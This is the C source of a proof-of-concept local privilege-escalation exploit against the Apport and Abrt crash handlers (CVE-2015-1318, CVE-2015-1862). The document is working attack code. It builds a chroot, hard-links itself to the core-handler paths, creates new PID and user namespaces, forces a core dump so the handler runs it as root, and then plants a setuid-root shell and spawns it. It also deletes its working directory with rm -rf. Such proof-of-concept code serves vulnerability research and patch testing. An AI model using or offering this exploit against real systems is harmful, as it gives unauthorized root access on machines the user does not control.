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Apport/Abrt Vulnerability Demo Exploit.
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <elf.h>
#include <err.h>
#include <syslog.h>
#include <sched.h>
#include <linux/sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/auxv.h>
#include <sys/wait.h>
# warning this file must be compiled with -static
//
// Apport/Abrt Vulnerability Demo Exploit.
//
// Apport: CVE-2015-1318
// Abrt: CVE-2015-1862
//
// -- taviso@cmpxchg8b.com, April 2015.
//
// $ gcc -static newpid.c
// $ ./a.out
// uid=0(root) gid=0(root) groups=0(root)
// sh-4.3# exit
// exit
//
// Hint: To get libc.a,
// yum install glibc-static or apt-get install libc6-dev
//
int main(int argc, char **argv)
{
int status;
Elf32_Phdr *hdr;
pid_t wrapper;
pid_t init;
pid_t subprocess;
unsigned i;
// Verify this is a static executable by checking the program headers for a
// dynamic segment. Originally I thought just checking AT_BASE would work,
// but that isnt reliable across many kernels.
hdr = (void *) getauxval(AT_PHDR);
// If we find any PT_DYNAMIC, then this is probably not a static binary.
for (i = 0; i < getauxval(AT_PHNUM); i++) {
if (hdr[i].p_type == PT_DYNAMIC) {
errx(EXIT_FAILURE, "you *must* compile with -static");
}
}
// If execution reached here, it looks like we're a static executable. If
// I'm root, then we've convinced the core handler to run us, so create a
// setuid root executable that can be used outside the chroot.
if (getuid() == 0) {
if (chown("sh", 0, 0) != 0)
exit(EXIT_FAILURE);
if (chmod("sh", 04755) != 0)
exit(EXIT_FAILURE);
return EXIT_SUCCESS;
}
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
// a shell and cleanup.
if (setuid(0) == 0) {
system("id");
system("rm -rf exploit");
execlp("sh", "sh", NULL);
// Something went wrong.
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
}
// It looks like the exploit hasn't run yet, so create a chroot.
if (mkdir("exploit", 0755) != 0
|| mkdir("exploit/usr", 0755) != 0
|| mkdir("exploit/usr/share", 0755) != 0
|| mkdir("exploit/usr/share/apport", 0755) != 0
|| mkdir("exploit/usr/libexec", 0755) != 0) {
err(EXIT_FAILURE, "failed to create chroot directory");
}
// Create links to the exploit locations we need.
if (link(*argv, "exploit/sh") != 0
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
err(EXIT_FAILURE, "failed to create required hard links");
}
// Create a subprocess so we don't enter the new namespace.
if ((wrapper = fork()) == 0) {
// In the child process, create a new pid and user ns. The pid
// namespace is only needed on Ubuntu, because they check for %P != %p
// in their core handler. On Fedora, just a user ns is sufficient.
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
err(EXIT_FAILURE, "failed to create new namespace");
// Create a process in the new namespace.
if ((init = fork()) == 0) {
// Init (pid 1) signal handling is special, so make a subprocess to
// handle the traps.
if ((subprocess = fork()) == 0) {
// Change /proc/self/root, which we can do as we're privileged
// within the new namepace.
if (chroot("exploit") != 0) {
err(EXIT_FAILURE, "chroot didnt work");
}
// Now trap to get the core handler invoked.
__builtin_trap();
// Shouldn't happen, unless user is ptracing us or something.
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
}
// If the subprocess exited with an abnormal signal, then everything worked.
if (waitpid(subprocess, &status, 0) == subprocess)
return WIFSIGNALED(status)
? EXIT_SUCCESS
: EXIT_FAILURE;
// Something didn't work.
return EXIT_FAILURE;
}
// The new namespace didn't work.
if (waitpid(init, &status, 0) == init)
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
? EXIT_SUCCESS
: EXIT_FAILURE;
// Waitpid failure.
return EXIT_FAILURE;
}
// If the subprocess returned sccess, the exploit probably worked, reload
// with euid zero.
if (waitpid(wrapper, &status, 0) == wrapper) {
// All done, spawn root shell.
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
execl(*argv, "w00t", NULL);
}
}
// Unknown error.
errx(EXIT_FAILURE, "unexpected result, cannot continue");
}
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